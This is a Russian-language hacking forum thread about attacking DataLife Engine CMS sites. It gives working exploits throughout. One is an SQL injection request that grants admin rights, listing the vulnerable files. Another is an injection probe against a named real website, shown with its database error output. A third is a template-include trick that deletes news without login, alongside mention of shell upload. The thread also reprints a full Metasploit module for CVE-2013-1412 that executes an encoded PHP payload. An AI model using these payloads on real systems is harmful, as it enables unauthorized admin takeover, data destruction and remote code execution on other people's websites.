ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

30.11.2012, 03:37
|
|
Guest
Сообщений: n/a
Провел на форуме: 0
Репутация:
0
|
|
Сообщение от SecondLife
SecondLife said:
SQL injection 0day и получение админки для 9.7 и младше
Requirements:
Код:
Code:
user account
register_globals on
magic_quotes_gpc off
Файл - максимальная версия скрипта
Код:
Code:
/engine/ajax/adminfunction.php 9.6
/engine/ajax/allvotes.php 9.7
/engine/ajax/antivirus.php 9.7
/engine/ajax/clean.php 9.7
/engine/ajax/complaint.php 9.6
/engine/ajax/deletecomments.php 9.7
/engine/ajax/find_relates.php 9.7
/engine/ajax/message.php 9.7
/engine/ajax/newsletter.php 9.7
/engine/ajax/pm.php 9.7
/engine/ajax/poll.php 9.7
/engine/ajax/rebuild.php 9.7
/engine/ajax/rss.php 9.7
/engine/ajax/search.php 9.7
/engine/ajax/sitemap.php 9.7
/engine/ajax/templates.php 9.7
/engine/ajax/typograf.php 9.7
/engine/ajax/upload.php 9.7
/engine/ajax/vote.php 9.7
Request
Код:
Code:
POST %file%
_TIME=0', user_group='1
login_name=real_username
login_password=real_password
login=submit
PoC
Неопределенная переменная
$_TIME
в некоторых случаях, внедрение кода в UPDATE запрос в файле
/engine/modules/sitelogin.php
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]$db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"UPDATE "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]USERPREFIX[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"_users set hash='"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$hash[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"', lastdate='[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$_TIME[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]', logged_ip='"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_IP[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"' WHERE user_id='[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$member_id[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'user_id'[/COLOR][COLOR="#007700"]]}[/COLOR][COLOR="#DD0000"]'"[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR]
(c) SecondLife
Если не сложно подробней пожалуйста, или в личку
|
|
|
|

02.12.2012, 07:16
|
|
Новичок
Регистрация: 20.11.2009
Сообщений: 17
Провел на форуме: 23696
Репутация:
-4
|
|
Сообщение от SecondLife
SecondLife said:
SQL injection 0day и получение админки для 9.7 и младше
Requirements:
Код:
Code:
user account
register_globals on
magic_quotes_gpc off
(c) SecondLife
ГЫ:
dle-news.ru, админ, celsoft:
Сообщение от None
Но лучше именно отключать данную настройку magic_quotes_gpc в php.ini, это плохая настройка, которая тянется еще со времен PHP4, непонятно зачем ее периодически включают. DLE кстати при установке рекомендует ее отключать. Рекомендации лучше не игнорировать.
Главное, не забывать добавить аддслешес, отключая "старую", не нужную...
thx
|
|
|

02.12.2012, 15:02
|
|
Новичок
Регистрация: 20.11.2009
Сообщений: 17
Провел на форуме: 23696
Репутация:
-4
|
|
Сообщение от Avtoritet
Avtoritet said:
кто начал раскручивать данную скулю? подскажите с чего начать то?
Не знаю, насколько она приватная, если есть в посте годом раньше, но в init.php версии уже 8,0 есть:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (isset ([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'cstart'[/COLOR][COLOR="#007700"]] ))[/COLOR][COLOR="#0000BB"]$cstart[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]intval[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'cstart'[/COLOR][COLOR="#007700"]] ); else[/COLOR][COLOR="#0000BB"]$cstart[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];
[/COLOR][/COLOR]
а в более новых версиях так же добавили проверку на величину:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if ([/COLOR][COLOR="#0000BB"]$cstart[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]9000000[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Location: "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"index.php"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'PHP_SELF'[/COLOR][COLOR="#007700"]]) );
die();
}
[/COLOR][/COLOR]
По первому коду: любые данные (пост, куки или гет), тут же переводятся в целое, а при неудаче - присваивается 0.
По второму, думаю понятно..
|
|
|

07.01.2013, 05:20
|
|
Познающий
Регистрация: 20.04.2006
Сообщений: 67
Провел на форуме: 170762
Репутация:
-1
|
|
sql в static.php
правда я думаю что малоитересная так как требует
global = on
magic_quotes_gpc = Off
Код:
Code:
POST http://dl75.ru/index.php?do=rules
HTTP/1.0
Host: dl75.ru
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, */*;q=0.1
Connection: Close
Content-Type: application/x-www-form-urlencoded
Content-length: 38
static_result[id]=99999999999'9999999
результат
Код:
Code:
MySQL Error!
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '9999999'' at line 1
UPDATE dle_static set views=views+1 where id='99999999999'9999999'
|
|
|

15.01.2013, 08:56
|
|
Новичок
Регистрация: 20.11.2009
Сообщений: 17
Провел на форуме: 23696
Репутация:
-4
|
|
Последняя офф. уязвимость очень жёсткая: переопределение множества переменных возможно через файлы шаблонов.
Необходимо иметь возможность редактировать шаблоны
Целка опасается за переменные:
$file_path
$file_name
$is_logged
$member_id
$cat_info
$config
$user_group
$category_id
$smartphone_detected
$dle_module
Их то и можно переопределить в шаблоне, обратившись к тому файлу, в которых они явно не заданы.
Но на самом деле, этих переменных гораздо больше, они закрыли лишь явно самые опасные.
Пример:
Этот простой запрос, без авторизации на сайте удалит новость с id=2
Запрос: http://site.ru/?hash=111&id=2
Изменения в файле: main.tpl:
Код HTML:
HTML:
{include file="engine/modules/deletenews.php?is_logged=1&member_id[user_group]=1&dle_login_hash=111&hash=111"}
Дальше всё зависит от вашей фантазии и знания языка. Держись, ДЛЕ
|
|
|

15.01.2013, 16:21
|
|
Reservists Of Antichat - Level 6
Регистрация: 14.11.2007
Сообщений: 177
Провел на форуме: 1246854
Репутация:
622
|
|
не прошло и 3х лет как эту багу прикрыли)) лежит в РОА как способ заливки шелла из админки
PS описывать не буду, кто не учил пхп идут учить
PSS slva2000 слепой что ли is_logged и member_id попадает под фильтр, главное что прикрыли способ заливки шелла
|
|
|

16.01.2013, 08:31
|
|
Новичок
Регистрация: 20.11.2009
Сообщений: 17
Провел на форуме: 23696
Репутация:
-4
|
|
Сообщение от chekist
chekist said:
не прошло и 3х лет как эту багу прикрыли)) лежит в РОА как способ заливки шелла из админки
PS описывать не буду, кто не учил пхп идут учить
PSS slva2000 слепой что ли is_logged и member_id попадает под фильтр, главное что прикрыли способ заливки шелла
Да не, не слепой, только что пробовал описанным мной примером. Дальше не копал.
Про заливку шелла, любопытно, намекни направление в котором искать?
|
|
|

01.02.2013, 23:28
|
|
Guest
Сообщений: n/a
Провел на форуме: 380
Репутация:
0
|
|
DataLife Engine preview.php PHP Code Injection
DataLife Engine preview.php PHP Code Injection
Код:
Code:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 'DataLife Engine preview.php PHP Code Injection',
'Description' => %q{
This module exploits a PHP code injection vulnerability DataLife Engine 9.7.
The vulnerability exists in preview.php, due to an insecure usage of preg_replace()
with the e modifier, which allows to inject arbitrary php code, when the template
in use contains a [catlist] or [not-catlist] tag.
},
'Author' =>
[
'EgiX', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-1412' ],
[ 'BID', '57603' ],
[ 'EDB', '24438' ],
[ 'URL', 'http://karmainsecurity.com/KIS-2013-01' ],
[ 'URL', 'http://dleviet.com/dle/bug-fix/3281-security-patches-for-dle-97.html' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'Keys' => ['php']
},
'DisclosureDate' => 'Jan 28 2013',
'Targets' => [ ['DataLife Engine 9.7', { }], ],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])
], self.class)
end
def base
base = normalize_uri(target_uri.path)
base "#{base}engine/preview.php",
'method' => 'POST',
'vars_post' =>
{
'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||printf(\"#{fingerprint}\");//"
}
})
if res and res.code == 200 and res.body =~ /#{fingerprint}/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
def exploit
@peer = "#{rhost}:#{rport}"
print_status("#{@peer} - Exploiting the preg_replace() to execute PHP code")
res = send_request_cgi(
{
'uri' => "#{base}engine/preview.php",
'method' => 'POST',
'vars_post' =>
{
'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));//"
}
})
end
end
source:
http://packetstormsecurity.com/files/119978/datalife_preview_exec.rb.txt
|
|
|
|

02.02.2013, 07:06
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме: 69033
Репутация:
8
|
|
Мне кажется или метасплойтовские эксплойты тут никому нафиг не нужны?
|
|
|

07.02.2013, 11:35
|
|
Guest
Сообщений: n/a
Провел на форуме: 27755
Репутация:
0
|
|
Народ кто что скажет об этом
http://verner.asf.ru/2013/%D0%B2%D0%B7%D0%BB%D0%BE%D0%BC-dle-%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B7%D0%BA%D0%BE%D 0%B9-%D0%B0%D0%B2%D0%B0%D1%82%D0%B0%D1%80%D0%B0-%D1%81-%D0%B2%D1%80%D0%B5%D0%B4%D0%BE%D0%BD%D0%BE%D1%81%D 0%BD%D1%8B/
как запустить хреновину?)
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|